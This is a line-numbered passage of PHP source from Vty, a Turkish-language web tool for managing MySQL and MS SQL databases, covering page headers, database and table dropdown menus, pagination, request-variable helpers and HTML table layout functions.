  1212. "function sMi(){var by=0,form='dsform',checkbox='sdscheck[]',f=document.forms[form];var d=(typeof(f.elements[checkbox])!='undefined'?f.elements[checkbox]:0);var l=(typeof(d.length)!='undefined'?d.length:'0');for(var i=1;i<l;i++) if(d[i].checked==false) by = 3;if(by == 3) d[0].checked = false; else d[0].checked = true;}"."\n".
  1213. "function sdBiKontrolEt(form,checkbox,durum,neresi,soyle){ var f = document.forms[form].elements[checkbox];var d=(typeof(f)!='undefined'?f:0); var k=0,l = (typeof(d.length) != 'undefined' ? d.length : '0' );if(l!=\"0\"){for(var i=0;i<l;i++)if(d[i].checked == durum) k++;}else{if(d.checked == durum)k++;}if(k==\"0\"){return false;}else{if(neresi=='duzelt')return true;else if(neresi=='sil')return Sileyimmi(soyle);}}".
  1214. "function yeniDbOnSubmit(){ if(document.yeniDbForm.yeniDbAdi.value == '') return false; else return true; }"."\n".
  1215. "function yeniTbOnSubmit(){var f = document.yeniTbForm; if(f.yeniTbAdi.value==''||f.yeniTbAlanSayisi.value=='')return false; else return true;}"."\n".
  1216. "function BunaFocus(form,ele){document.forms[form].elements[ele].focus();}"."\n".
  1217. "function fncKukiliGirisOnSub(){f = document.frmKukiliGiris; if(f.txtDbHost.value=='')return false; else return true;}"."\n". // || f.txtDbKullanici.value ==''
  1218. "//--> </script>"."\n"."</head>"."\n";
  1219. echo $this->ImzaKoy();
  1220.  
  1221. echo "<body".$this->onLoad($devam).' bgcolor="#cccccc" >'."\n".
  1222. "<a name=\"EnUst\"></a>"."\n";
  1223.  
  1224. $this->tabloBas('','1','0','','','');
  1225. $this->ust_logo();
  1226. $this->tabloSonu();
  1227. }
  1228.  
  1229. /**
  1230. * ust_logo
  1231. *
  1232. */
  1233. function ust_logo(){
  1234. $this->tabloBas('','0','5','30','0','#CBD6DE');
  1235. echo '&nbsp; <a href="'.$this->vtyUrl.'" target="_blank" ><font color="#333333" ><strong>V t y '.$this->vtyversion.'</strong></font></a><font color="#333333" > - '.$this->dug->dil['VtYonet'].'</font>&nbsp;&nbsp;</td>'."\n".
  1236. "\t\t\t".'<td width="5" >&nbsp;</td>'."\n".
  1237. "\t\t\t".'<td align="right">'.
  1238. ((
  1239. !$this->ayar['LoginType']=='' and
  1240. (isset($_COOKIE['vtykuki_host']) or
  1241. !empty($this->sbtGirisYap)) and
  1242. $this->baglanti>0
  1243. )?
  1244. '<a href="'.$this->urlyap("ne=sesscikis&".$this->linkler).'" onClick="return confirm(\''.$this->dug->uy['EminmisinCikis'].'\');"><font color="red">'.$this->dug->dil['SessCikis'].'</font> </a> '.$this->ara().' '
  1245. :
  1246. ''
  1247. ).
  1248. ($this->baglanti>0?'<a href="'.$this->urlyap("ne=lang&".$this->linkler).'"><font color="#222222">'.'Language'.' ('.ucfirst($this->dug->dl).')</font></a> '.$this->ara().' ':' ')."\n".
  1249. ($this->baglanti>0?'<a href="'.$this->urlyap($this->linkler."&ne=docs&nebu=help").'"><font color="#222222">'.$this->dug->dil['Yardim'].'</font></a> '."\n":' ')."&nbsp;\n".
  1250. '</td>'."\n"."\t\t".'</tr>'."\n".
  1251. "\t\t".'<tr bgcolor="#394D5B"><td height="1" colspan="3" >'."\n";
  1252. $this->tabloSonu();
  1253. }
  1254.  
  1255. /**
  1256. * ust_sonu
  1257. *
  1258. * ust fonksiyonunda a�ilan tablonun kapatildigi fonksiyon
  1259. */
  1260. function ustSonu(){
  1261. $this->tabloSonu();
  1262. }
  1263.  
  1264. /*
  1265. *
  1266. * Database ve tablo listeleri
  1267. */
  1268. function db_secimi()
  1269. {
  1270. if( $this->ayar['DbSecimi'] == 1 ){
  1271. $this->tabloBas('','1','10','50','');
  1272. echo '<font size="4">'.$this->dug->dil['Vt'].': </font>'."\n".$this->db_liste()."\n";
  1273. echo (!empty($this->dbname)?'&nbsp;<font size="4"> - '.$this->dug->dil['Tablo'].':</font> '."\n".$this->tb_liste()."\n":'');
  1274. $this->tabloSonu();
  1275. }
  1276. }
  1277.  
  1278.  
  1279. /**
  1280. * db_liste()
  1281. *
  1282. * Drop down menu de database listesi,
  1283. *
  1284. * @access public
  1285. */
  1286. function db_liste($id=1)
  1287. {
  1288. if($id==1){
  1289. $return = "\t\t\t\t".'<select name="sSdb" onChange="atla(\'parent\',\''.$this->urlyap("dl=".$this->dug->dl).'\',this,0)">'."\n";
  1290. }elseif($id==2){
  1291. $return = "\t\t\t\t".'<select name="dumpet_dblist" style="width:200;" onChange="atla(\'parent\',\''.$this->urlyap("ne=dumpet&dl=".$this->dug->dl).'\',this,0)">';
  1292. }
  1293. $return .= "\t\t\t\t\t".'<option value="" selected>---'.$this->dug->dil['Seciniz'].'---</option>'."\n";
  1294. $db_list = $this->db->vty_list_dbs($this->baglan);
  1295. while ($row = $this->db->vty_fetch_object($db_list)) {
  1296. unset($temp_tb_numrows);
  1297. $DatabaseNameInObject = $this->db->vty_list_dbs_databasename();
  1298. $tempdb = $row->$DatabaseNameInObject;
  1299. if($tempdb == $this->dbname){$selected = 'selected'; $dbGercekMi = 1; }else{ $selected = ''; }
  1300.  
  1301. //DB_AYRIMI
  1302. if($this->ayar['db_type']=='mysql'){
  1303. $temp_tb_list = $this->db->vty_list_tables($tempdb);
  1304. $temp_tb_numrows = $this->db->vty_num_rows($temp_tb_list);
  1305. }elseif($this->ayar['db_type']=='mssql'){
  1306. $temp_tb_list = $this->db->vty_query("sp_tables");
  1307. $temp_tb_numrows = $this->db->vty_num_rows($temp_tb_list);
  1308. }
  1309.  
  1310. if($this->ayar['NtGoster'] == 1)
  1311. $tb_numrows =(($temp_tb_numrows == "0" or !empty($temp_tb_numrows) )? " (".$temp_tb_numrows.")" : ' : (x)' )."";
  1312.  
  1313. if(isset($temp_tb_numrows))
  1314. $return .= "\t\t\t\t\t".'<option value="&sdb='.urlencode($tempdb).'"'.$selected.'>'.$tempdb.$tb_numrows.'</option>'."\n";
  1315.  
  1316.  
  1317. }//w
  1318. if(empty($dbGercekMi) and $this->dbname)
  1319. unset($this->dbname);
  1320. $return .= "\t\t\t\t"."</select>"."\n";
  1321. return $return;
  1322. }
  1323.  
  1324. /**
  1325. * tb_liste()
  1326. *
  1327. * Drop down menu de tablo listesi,
  1328. *
  1329. * @access public
  1330. */
  1331. function tb_liste($id=1)
  1332. {
  1333. if($id==1){
  1334. $return = "\t\t\t\t".'<select name="sStb" onChange="atla(\'parent\',\''.$this->urlyap("sdb=".$this->dbname."&dl=".$this->dug->dl).'\',this,0)">'."\n";
  1335. $return .= "\t\t\t\t\t".'<option value="'.$this->urlyap("sdb=".$this->dbname).'" selected>---'.$this->dug->dil['Seciniz'].'---</option>'."\n";
  1336. }elseif($id==2){
  1337. $return = "\t\t\t\t".'<select name="dumpet_tablelist" size="15" style="width:200;" multiple onChange="return DumpEtJsHepHicSayi();" >'."\n"; //onChange="atla(\'parent\',\''.$this->urlyap("sdb=".$this->dbname."&dl=".$this->dug->dl).'\',this,0)"
  1338. }
  1339.  
  1340. $select = $this->db->vty_select_db($this->dbname);
  1341.  
  1342. if($this->ayar['db_type']=='mysql'){
  1343. $tb_list = $this->db->vty_list_tables($this->dbname);
  1344. $tb_numrows = $this->db->vty_num_rows($tb_list);
  1345. }elseif($this->ayar['db_type']=='mssql'){
  1346. $tb_list = $this->db->vty_query("sp_tables");
  1347. $tb_numrows = $this->db->vty_num_rows($tb_list);
  1348. }
  1349.  
  1350. $tableGercekMi = 0;
  1351. for($l=0;$l<$tb_numrows;$l++){
  1352.  
  1353. if($this->ayar['db_type']=='mysql')
  1354. $temptb = $this->db->vty_tablename($tb_list,$l);
  1355. elseif($this->ayar['db_type']=='mssql')
  1356. $temptb = mssql_result($tb_list,$l,'TABLE_NAME');
  1357.  
  1358. if($this->ayar['NfGoster'] == 1){
  1359.  
  1360. if($this->ayar['db_type']=='mysql')
  1361. $query = $this->db->vty_query("select count(*) as c from `$temptb` ");
  1362. elseif($this->ayar['db_type']=='mssql')
  1363. $query = $this->db->vty_query("select count(*) as c from [$temptb] ");
  1364.  
  1365. if($this->ayar['db_type']=='mysql')
  1366. $temptb = $this->db->vty_tablename($tb_list,$l);
  1367. elseif($this->ayar['db_type']=='mssql')
  1368. $temptb = mssql_result($tb_list,$l,'TABLE_NAME');
  1369.  
  1370. $numrows = $this->db->vty_result($query,"0","c"); unset($query);
  1371.  
  1372. if($this->ayar['db_type']=='mysql'){
  1373. $list = $this->db->vty_list_fields($this->dbname,$temptb);
  1374. $numfields = $this->db->vty_num_fields($list); unset($list);
  1375. }elseif($this->ayar['db_type']=='mssql'){
  1376. $list = $this->db->vty_query("sp_tables [$temptb]");
  1377. $numfields = $this->db->vty_num_fields($list); unset($list);
  1378. }
  1379.  
  1380. $soyle = $temptb.' ('.$numrows.'x'.$numfields.')';
  1381. }else{
  1382. $soyle = $temptb;
  1383. }
  1384. if($temptb == $this->tablename ){$selected = "selected"; $tableGercekMi=1;} else { $selected = '';}
  1385. if($id==1){
  1386. $return .= "\t\t\t\t\t".'<option value="&stb='.$temptb.'" '.$selected.'>'.$soyle.'</option>'."\n";
  1387. }elseif($id==2){
  1388. $return .= "\t\t\t\t\t".'<option value="'.$temptb.'" '.$selected.'>'.$soyle.'</option>'."\n";
  1389. }
  1390. } //f
  1391. $return .= "\t\t\t\t"."</select>"."\n";
  1392. return $return;
  1393. }
  1394.  
  1395. /**
  1396. * db_seciniz_linkler()
  1397. *
  1398. * Database seciniz, tablo seciniz ifadeleri
  1399. *
  1400. * @access private
  1401. * @return bos echo ile halleder
  1402. *
  1403. */
  1404. function db_seciniz_linkler()
  1405. {
  1406. if(empty($this->dbname)){
  1407. $this->tabloBas('','1','10','','',$this->dug->gor['bgcolor3']);
  1408. $this->Soyle($this->dug->dil['VtSeciniz']."","green",'',""); echo "\n";
  1409. $this->tabloSonu();
  1410. $this->tabloBas('','1','10','60','',$this->dug->gor['bgcolor2']);
  1411. echo '<li><a href="'.$this->urlyap("ne=sqlgoster&".$this->linkler).'">'.$this->dug->dil['Sql']."</a></li> \n ".
  1412. '<li><a href="'.$this->urlyap("ne=yeniDbEkle&".$this->linkler).'">'.$this->dug->dil['DbEkle']."</a></li> \n ";
  1413. $this->tabloSonu();
  1414.  
  1415. }elseif(empty($this->tablename)){
  1416. $this->tabloBas('','1','10','','',$this->dug->gor['bgcolor3']);
  1417. $this->Soyle($this->dug->dil['TbSeciniz']."","green",'',""); echo "\n";
  1418. $this->tabloSonu();
  1419. $this->tabloBas('','1','0','60','0',$this->dug->gor['alt_bgcolor']);
  1420. $this->tabloBas('','0','10','','',$this->dug->gor['bgcolor2']);
  1421. echo '<li><a href="'.$this->urlyap("ne=sqlgoster&amp;".$this->linkler)."\">".$this->dug->dil['Sql']."</a></li>"."\n".
  1422. '<li><a href="'.$this->urlyap("ne=yeniTbEkle&amp;".$this->linkler)."\" >".$this->dug->dil['TbEkle']."</a></li>"."\n".
  1423. '<li><a href="'.$this->urlyap("ne=yeniDbEkle&amp;".$this->linkler)."\" >".$this->dug->dil['DbEkle']."</a></li>"."\n".
  1424. '<li><a href="'.$this->urlyap("ne=dbSil&amp;sor=e&amp;".$this->linkler)."\" onClick=\"return Sileyimmi('". $this->dug->uy['EminmisinDbSil']."');\">".
  1425. "<font color=\"red\">".$this->dug->dil['DbSil']."</font></a>".
  1426. '</li>'."\n".
  1427. "</td>"."\n".
  1428. "<td align=\"right\" valign=\"top\">"."\n".
  1429. '<a href="'.$this->urlyap($this->linkler).'">'.$this->dug->dil['SayfaYnl'].'</a> '.$this->ara().' '.
  1430. '<a href="'.$this->urlyap("sdb=&dl=".$this->dug->dl).'" >'.$this->dug->dil['Yukari'].'</a>'."\n";
  1431. $this->tabloSonu();
  1432. $this->tabloSonu();
  1433. }
  1434. }
  1435.  
  1436. /**
  1437. * _htmlSonu()
  1438. *
  1439. * Sayfanin bitimindeki html body taglarini koyar.
  1440. *
  1441. * @access private
  1442. */
  1443. function _htmlSonu()
  1444. {
  1445. echo '</body>'."\n".'</html>';
  1446. }
  1447.  
  1448.  
  1449. /**
  1450. *
  1451. *
  1452. *
  1453. * ALL
  1454. * FUNCTIONS
  1455. *
  1456. *
  1457. *
  1458. */
  1459.  
  1460. function gecici_tb_adi()
  1461. {
  1462. return ($this->ayar['db_type']=='mssql'?'['.$this->tablename.']':'`'.$this->tablename.'`');
  1463. }
  1464.  
  1465. function select_db()
  1466. {
  1467. return $this->db->vty_select_db($this->dbname) or die ($this->db->vty_error());
  1468. }
  1469.  
  1470. function numrows()
  1471. {
  1472. $gcc_table_name = $this->gecici_tb_adi();
  1473. $this->numrows = $this->db->vty_result($this->db->vty_query("SELECT COUNT(*) as c FROM $gcc_table_name"),0,'c');
  1474. }
  1475.  
  1476. /**
  1477. * SayfaYap()
  1478. *
  1479. * �ekilen verileri (mesela) 50'ser 50'ser sayfalara ayiran fonksiyon
  1480. *
  1481. * @param $numrows Sql sorgusundan gelen satir sayisi
  1482. * @param $linkler vty'de dolasan $linkler degisgeni href="$linkler seklinde
  1483. * @return bos. echo ile kendini ifade eder.
  1484. * @access public
  1485. */
  1486. function SayfaYap()
  1487. {
  1488. if($this->ayar['db_type']=='mysql'){
  1489. $bs = (!empty($this->pp)?$this->pp:$this->ayar['PerPage']);
  1490. $ts = ceil($this->numrows / $bs);
  1491. $kac = ((!$this->kac or $this->kac<1)?1:($this->kac>$ts?$ts:$this->kac));
  1492. $i = ($kac -1)*$bs;
  1493. $s = ($kac==$ts?($bs - (($ts*$bs) - $this->numrows)):$bs);
  1494. $basson = ($ts<40?40:10);
  1495. if($this->numrows>0){
  1496. $this->query_limit = 'LIMIT '.$i.', '.$s;
  1497.  
  1498. echo '<table width="100%" height="0" border = "0" cellspacing="0" cellpadding="0" >
  1499. <form name="fSayfaBasi" method="post" action="'.$this->urlyap($this->linkler).'" >
  1500. <tr bgcolor="#E9EDE9" ><td>&nbsp;';
  1501.  
  1502. echo ($kac-1>0?'<a href="'.$this->urlyap($this->linkler."kac=".($kac-1)).'" style="color:#009933;" ><b>&lt;</b></a>':'&lt;').' ';
  1503. echo $this->dug->dil['sayfalar']."&nbsp; ";
  1504. echo ($kac+1<=$ts?'<a href="'.$this->urlyap($this->linkler."kac=".($kac+1)).'" style="color:#009933;" ><b>&gt;</b></a>':'&gt;').' :&nbsp; ';
  1505.  
  1506. if((($kac>$basson)?$kac-$basson:1)!=1)
  1507. echo ($kac!=1?'&nbsp;<a href="'.$this->urlyap($this->linkler."kac=".(1).'"').' style="color:#009933;" >'.'1'.'</a>':'1').' ... ';
  1508. for($k=(($kac>$basson)?$kac-$basson:1);$k<=(($kac+$basson<=$ts)?$kac+$basson:$ts);$k++){
  1509. echo '<a href="'.$this->urlyap($this->linkler."kac=".$k).'" style="color:#009933;" >'.($k==$kac?'<b><u>'.$k.'</u></b>':''.$k.'').'</a> ';
  1510. }
  1511. if((($kac+$basson<=$ts)?$kac+$basson:$ts)!=$ts){
  1512. echo ' ... '.($kac!=$ts?'&nbsp;<a href="'.$this->urlyap($this->linkler."kac=".$ts.'"').' style="color:#009933;" >'.$ts.'</a>':'').' ';
  1513. }
  1514. echo "</td> \n"
  1515. ."<td align=\"right\" valign=\"top\" nowrap > \n"
  1516. .'<b>'.$this->dug->dil['sayfa'].': <input name="kac" type="text" value="'.$kac.'" size="5" style="width=\'37\'" > &nbsp;'
  1517. .$this->dug->dil['SayfaBasi'].': <input name="sayfaBasi" type="text" value="'.(($this->numrows<$bs and empty($this->pp))?$this->numrows:$bs).'" size="5" style="width=\'37\'" >'
  1518. .'<input name="git" type="submit" size="1" value=" &gt; "></b>'
  1519. ."&nbsp;</td></tr></form></table>";
  1520. $this->tabloSonu();
  1521. }
  1522. }else{
  1523. ; // may be mssql
  1524. }
  1525. }
  1526.  
  1527. /**
  1528. * query_limit
  1529. *
  1530. */
  1531. function query_limit()
  1532. {
  1533. $numrows = $this->numrows;
  1534. $bs = (!empty($this->pp)?$this->pp:$this->ayar['PerPage']);
  1535. $ts = ceil($numrows / $bs);
  1536. $kac = ((!$this->kac or $this->kac>$ts)?1:$this->kac);
  1537. $i = ($kac -1)*$bs;
  1538. $s = ($kac==$ts?($bs - (($ts*$bs) - $numrows)):$bs);
  1539. if($numrows>0){
  1540. $this->query_limit = 'LIMIT '.$i.', '.$s;
  1541. return $this->query_limit;
  1542. }
  1543. }
  1544.  
  1545. /**
  1546. * dbKurulumu()
  1547. *
  1548. * DB Fonksiyonlari kurulumu yoksa kurulu degilmi onu kontrol eder.
  1549. *
  1550. * @param $dbTipi Veritabaninin tipi 'mysql' veya 'mssql'
  1551. * @return true yada false
  1552. */
  1553. function dbKurulumu($dbTipi)
  1554. {
  1555. if($dbTipi=='mysql')
  1556. return function_exists('mysql_connect');
  1557. elseif($dbTipi=='mssql')
  1558. return function_exists('mssql_connect');
  1559. }
  1560.  
  1561. /**
  1562. * dbTipiAdi()
  1563. *
  1564. * MS SQL ve Mysql icin dogru yazilim dondurur
  1565. *
  1566. * @param $dbTipi Veritabaninin tipi 'mysql' veya 'mssql'
  1567. * @return string Mysql yada MS SQL seklinde database adi dogru yazilimi
  1568. */
  1569. function dbTipiAdi($dbTipi)
  1570. {
  1571. if($dbTipi=='mysql')
  1572. return 'Mysql';
  1573. elseif($dbTipi=='mssql')
  1574. return 'MS SQL';
  1575. else
  1576. return 'Unknown Database Server';
  1577. }
  1578.  
  1579. /*function t($t=1)
  1580. {
  1581. $return = '';
  1582. for($i=0;$i<$t;$i++) $return .= "\t";
  1583. return $return;
  1584. }*/
  1585.  
  1586. function onLoad($devam)
  1587. {
  1588. if($this->ne=='yeniDbEkle'){
  1589. $return = "'yeniDbForm','yeniDbAdi'";
  1590. } elseif($this->ne=='yeniTbEkle' and $devam <> 'et'){
  1591. $return = "'yeniTbForm','yeniTbAdi'";
  1592. } elseif($this->ne=='sqlgoster'){
  1593. $return = "'fquery','inquery'";
  1594. }elseif($this->baglan == 0 /*or $this->gp('txtDbHost')*/ and ($this->ayar['LoginType']=='config_or_login' or $this->ayar['LoginType']=='login' )){ //or $this->ayar['LoginType']==2
  1595. $return = "'frmKukiliGiris','txtDbKullanici'";
  1596. }
  1597. return $return = (!empty($return) ? ' onLoad="BunaFocus('.$return.');" ' : '') ;
  1598. }
  1599.  
  1600. /**
  1601. * urlyap()
  1602. *
  1603. * �ok sik kullanilan bir fonksiyon, linkler olusturur.
  1604. *
  1605. * @param $url dl=tr&sdb=test&stb=table sekinde bilgiler icerir
  1606. * @param $root k�k varmi? yok mu?
  1607. * @return (string) url adress
  1608. */
  1609. function urlyap($url,$root='var')
  1610. {
  1611. $dosya = ($root=='var'? $this->dosya : '' );
  1612. $url = (( substr($url,-1) == "&" or empty($url) ) ? $url."r=".$this->random : $url.'&'."r=".$this->random );
  1613. return $url = $dosya."?".$url;
  1614. }
  1615.  
  1616. function Soyle($soyle,$color="green",$size="",$h)
  1617. {
  1618. if($h) echo "<".$h.">";
  1619. echo "<font color=\"$color\" size=\"$size\">$soyle</font>";
  1620. if($h) echo "</".$h.">";
  1621. }
  1622.  
  1623. function ImzaKoy()
  1624. {
  1625. print("\n<!-- This page created by Vty - ".date("Y.m.d H:i:s")." -->\n".
  1626. "<!-- Vty download page : http://www.kutukutu.com/vty/ (download)-->\n\n");
  1627. }
  1628.  
  1629. function RandomSayi()
  1630. {
  1631. mt_srand ((double) microtime() * 1000000);
  1632. $this->random = mt_rand();
  1633. }
  1634.  
  1635. function ikirenkli($i,$renk1='#eeeeee',$renk2='#eeeeec')
  1636. {
  1637. if($i%2){ $bgcolor = $renk1;} else { $bgcolor = $renk2;}
  1638. return $bgcolor;
  1639. }
  1640.  
  1641. function baslik($yazi)
  1642. {
  1643. return '<b><font color="#000000" size="3">'.$yazi.'</font></b>';
  1644. }
  1645.  
  1646. function ilk50($girilen,$uzunluk)
  1647. {
  1648. $strlen = strlen($girilen);
  1649. if($strlen > ($uzunluk)){
  1650. if($strlen == ($uzunluk+3))
  1651. $girilen = substr($girilen,0,($uzunluk+3));
  1652. else
  1653. $girilen = substr($girilen,0,$uzunluk)."..";
  1654. }
  1655. return $girilen;
  1656. }
  1657.  
  1658. function AlanTipi($result,$alantipi='int')
  1659. {
  1660. if($alantipi == 'int'){
  1661. $textyeri = '<input type="text" name="duzeltyazi[]" value="'.$result.'" >';
  1662. }elseif($alantipi == 'string' ){
  1663. $textyeri = '<textarea name="duzeltyazi[]" cols="20" rows="3">'.$result.'</textarea>';
  1664. }elseif($alantipi == 'blob' ){
  1665. $textyeri = '<textarea name="duzeltyazi[]" cols="25" rows="6">'.$result.'</textarea>';
  1666. }else{
  1667. $textyeri = '<input type="text" name="duzeltyazi[]" value="'.$result.'" >';
  1668. //echo "FARKLI DURUM!!! >> ".$alantipi;
  1669. }
  1670. return $textyeri;
  1671. }
  1672.  
  1673. /*
  1674. * Coklu duzeltme sayfasindaki durum.
  1675. */
  1676. function AlanTipi2($deger,$alantipi,$k)
  1677. {
  1678. if($alantipi == 'int'){
  1679. $textyeri = '<input type="text" name="sdsduzeltyazi['.$k.'][]" value="'.$deger.'" >';
  1680. }elseif($alantipi == 'string' ){
  1681. $textyeri = '<textarea name="sdsduzeltyazi['.$k.'][]" cols="20" rows="3" >'.$deger.'</textarea>';
  1682. }elseif($alantipi == 'blob' ){
  1683. $textyeri = '<textarea name="sdsduzeltyazi['.$k.'][]" cols="25" rows="6" >'.$deger.'</textarea>';
  1684. }else{
  1685. $textyeri = '<textarea name="sdsduzeltyazi['.$k.'][]" cols="25" rows="6">'.$deger.'</textarea>';
  1686. }
  1687. return $textyeri;
  1688. }
  1689.  
  1690. /**
  1691. * gp()
  1692. *
  1693. * get the post and get variables without any error report
  1694. *
  1695. * @param $deg degisken adi
  1696. * @param $met 'get', 'post', ''
  1697. *
  1698. * @return $ret degisken degeri //"_FILES","HTTP_POST_FILES"); //EXTR_OVERWRITE
  1699. */
  1700. function gp($deg,$tur='gp')
  1701. {
  1702. $ret = false;
  1703. if($tur=='g') $gelenler = array("_GET","HTTP_GET_VARS");
  1704. elseif($tur=='p') $gelenler = array("_POST","HTTP_POST_VARS");
  1705. elseif($tur=='c') $gelenler = array("_COOKIE","HTTP_COOKIE_VARS");
  1706. elseif($tur=='s') $gelenler = array("_SERVER","HTTP_SERVER_VARS");
  1707. elseif($tur=='f') $gelenler = array("_FILES","HTTP_POST_FILES");
  1708. else $gelenler = array("_GET","HTTP_GET_VARS","_POST","HTTP_POST_VARS");
  1709. if(isset($deg))
  1710. foreach($gelenler as $gelen){
  1711. global $$gelen;
  1712. if(isset($$gelen)){
  1713. $gelend = $$gelen;
  1714. if(isset($gelend[$deg])){
  1715. $$deg = $gelend[$deg];
  1716. $ret = $$deg;
  1717. }
  1718. }
  1719. }
  1720. return $ret;
  1721. }
  1722.  
  1723. /**
  1724. * gkp()
  1725. *
  1726. * gelen degiskene stripslashes falan ekler
  1727. *
  1728. * @param $deg degisken adi : bunlari gp fonksiyonuna gonderir.
  1729. * @param $met 'get', 'post', '' : bunlari gp fonksiyonuna gonderir.
  1730. *
  1731. * @return $ret degisken degeri
  1732. */
  1733. function gkp($deg,$tur='gp')
  1734. {
  1735. $deg = $this->gp($deg,$tur);
  1736. if(get_magic_quotes_gpc()==true)
  1737. $deg = stripslashes($deg);
  1738. return $deg;
  1739. }
  1740.  
  1741.  
  1742. /**
  1743. * NoCache()
  1744. * Ge�mise kaydolmayi engeller
  1745. */
  1746. function NoCache(){
  1747. //header("Expires: Mon, 5 jul 1980 05:00:00 GMT");
  1748. //header("Cache-Control: no-cache, must-revalidate");
  1749. //header("Pragma: no-cache");
  1750. }
  1751.  
  1752. /**
  1753. * PrimaryVarMi()
  1754. *
  1755. * Bir tabloda Primary varmi yokmu onu s�yler
  1756. */
  1757. function PrimaryVarMi(){
  1758. $field_name = '';
  1759. $list = $this->db->vty_list_fields($this->dbname, $this->tablename);
  1760. $numfield = $this->db->vty_num_fields($list);
  1761. for($i=0;$i<$numfield;$i++){
  1762. $fetch_field = $this->db->vty_fetch_field($list,$i);
  1763. if($fetch_field->primary_key == "1")
  1764. $field_name =$fetch_field->name;
  1765. }
  1766. if($field_name) return 1; else return 0;
  1767. }
  1768.  
  1769. /**
  1770. * Mysql Tablo T�rleri select men�s� yap
  1771. *
  1772. *
  1773. */
  1774. function AlanTurleri($selectadi="alanturleri"){
  1775. $array = array('INT','VARCHAR','TEXT','TINYINT','SMALLINT','MEDIUMINT','BIGINT','FLOAT','DOUBLE','DATA','DATATIME','TIMESTAMP','TIME','YEAR','CHAR',
  1776. 'TINYBLOB','TINYTEXT','BLOB','MEDIUMTEXT','MEDIUMBLOB','LONGBLOB','LONGTEXT','ENUM','SET');
  1777. $return = "<select name=\"$selectadi\">\n";
  1778. foreach($array as $anahtar => $deger){ $return .= "<option>$deger</option>\n";}
  1779. return $return .= "</select>\n";
  1780. }
  1781.  
  1782. function HataGoster($hatasi){
  1783. $this->ust();
  1784. $this->tabloBasi();
  1785. $hata = ''; if($this->db->vty_error()) $hata = '<br>HATA: '.$this->db->vty_error();
  1786. echo "<font sytle=\" color=\"red\"\">$hatasi</font>$hata <br><a href=\"javascript:history.back(-1)\" >� ".$this->dug->dil['Geri']."</a>".
  1787. " | <a href=\"".$this->urlyap($this->linkler)."\" >".$this->dug->dil['Iptal']."</a>";
  1788. $this->tabloSonu();
  1789. }
  1790.  
  1791. function HataGoster2($hatasi){
  1792. $hata = ''; if($this->db->vty_error()) $hata = '<br>HATA: '.$this->db->vty_error();
  1793. echo "<font sytle=\" color=\"red\"\">$hatasi</font>$hata <br><a href=\"javascript:history.back(-1)\" >� ".$this->dug->dil['Geri']."</a>".
  1794. " | <a href=\"".$this->urlyap($this->linkler)."\" >".$this->dug->dil['Iptal']."</a>";
  1795. }
  1796.  
  1797. /**
  1798. * SonucGoster()
  1799. *
  1800. * Sonu� varsa g�sterir
  1801. *
  1802. */
  1803. function SonucGoster($sql,$oldu,$hata){
  1804. $arr = array('@DbName@'=>$this->dbname,'@DbTable@'=>$this->tbname);
  1805. $oldu = strtr($oldu,$arr);
  1806. $hata = strtr($hata,$arr);
  1807. if($this->db->vty_query($sql) == true){
  1808. echo '<font color="green" >'.$oldu."</font>\n<br/>\n".
  1809. "<div style='margin:5;'></div>".
  1810. '<a href="'.$this->urlyap($this->linkler).'" >'.$this->dug->dil['Tamam'].'</a>'."\n".
  1811. '<meta http-equiv="refresh" content="1;URL='.$this->urlyap($this->linkler).'"><br/> ';
  1812. } else {
  1813. echo '<font color="red" size="3" >'.$hata."</font>\n<br/><br/>\n".
  1814. '<font color="red">'.$this->dug->dil['MysqlHata'].':</font> '.mysql_error().'<br/>'.
  1815. '<font color="red">'.$this->dug->dil['Sql'].':</font> '.$sql.'<br/><br/>'.
  1816. '<a href="javascript:history.back(-1)" > � '.$this->dug->dil['Geri'].'</a> '.$this->ara().' '.
  1817. '<a href="'.$this->urlyap($this->linkler).'" >'.$this->dug->dil['Tamam'].'</a><br/> '."\n";
  1818. }
  1819. }
  1820.  
  1821. /**
  1822. * DiziyiAc()
  1823. *
  1824. * Bir Dizideki de�i�ken de�erlerini aralar�na $ara koyarak s�ralar.
  1825. *
  1826. */
  1827. function DiziyiAc($dizi,$ara){
  1828. $sonuc = '';
  1829. array($dizi); $count = count($dizi);
  1830. for($i=0;$i<$count;$i++){
  1831. $sonuc = $dizi[$i].$ara.$sonuc;
  1832. }
  1833. $strlen = strlen($ara);
  1834. $sonuc = substr($sonuc,0,-$strlen);
  1835. return $sonuc;
  1836. }
  1837.  
  1838. function islemSonucu($soyle){
  1839. $this->ust();
  1840. $this->tabloBasi3();
  1841. echo "\t\t\t\t"."<br />"."\n";
  1842. echo "\t\t\t\t".$soyle."\n";
  1843. echo "\t\t\t\t"."<br /> <br />"."\n";
  1844. $this->tabloSonu();
  1845. }
  1846.  
  1847. /**
  1848. * tabloBas()
  1849. *
  1850. * Genel olarak tablonun bas kismini olusturur
  1851. * tabloBasi12345 fonksiyonlari bundan alirlar.
  1852. *
  1853. */
  1854. function tabloBas($wi='',$spa='',$pad='',$he='',$bo='',$bg=''){
  1855. $wi = ' width="' .($wi!='' ? $wi : $this->dug->gor['table_width']) .'" ';
  1856. $spa = 'cellspacing="' .($spa!=''? $spa : $this->dug->gor['cellspacing']) .'" ';
  1857. $pad = 'cellpadding="' .($pad!=''? $pad : $this->dug->gor['cellpadding']) .'" ';
  1858. $he = 'height="' .($he!='' ? $he : $this->dug->gor['table_height']) .'" ';
  1859. $bo = 'border="' .($bo!='' ? $bo : $this->dug->gor['border']) .'" ';
  1860. $bg = ' bgcolor="' .($bg!='' ? $bg : $this->dug->gor['enust_bgcolor']) .'" ';
  1861. echo "\t".'<table'.$wi.$he.$bo.$spa.$pad.'>'."\n".
  1862. "\t\t".'<tr'.$bg.'>'."\n".
  1863. "\t\t\t"."<td>"."\n";
  1864. }
  1865.  
  1866. function tabloBasi(){
  1867. $this->tabloBas('','','3','','',$this->dug->gor['enalt_bgcolor']);
  1868. }
  1869.  
  1870. function tabloBasi2(){
  1871. $this->tabloBas('','','6','','',$this->dug->gor['alt_bgcolor']);
  1872. }
  1873.  
  1874. function tabloBasi3(){
  1875. $this->tabloBas('','','12','','',$this->dug->gor['enalt_bgcolor']);
  1876. }
  1877.  
  1878. function tabloBasi4(){
  1879. $this->tabloBas();
  1880. }
  1881.  
  1882. function tablo2($icerik)
  1883. {
  1884. $this->tabloBasi3();
  1885. echo $icerik;
  1886. $this->tabloSonu();
  1887. }
  1888.  
  1889. /**
  1890. * tabloSonu()
  1891. *
  1892. * Genel olarak tablonun sonu
  1893. */
  1894. function tabloSonu(){
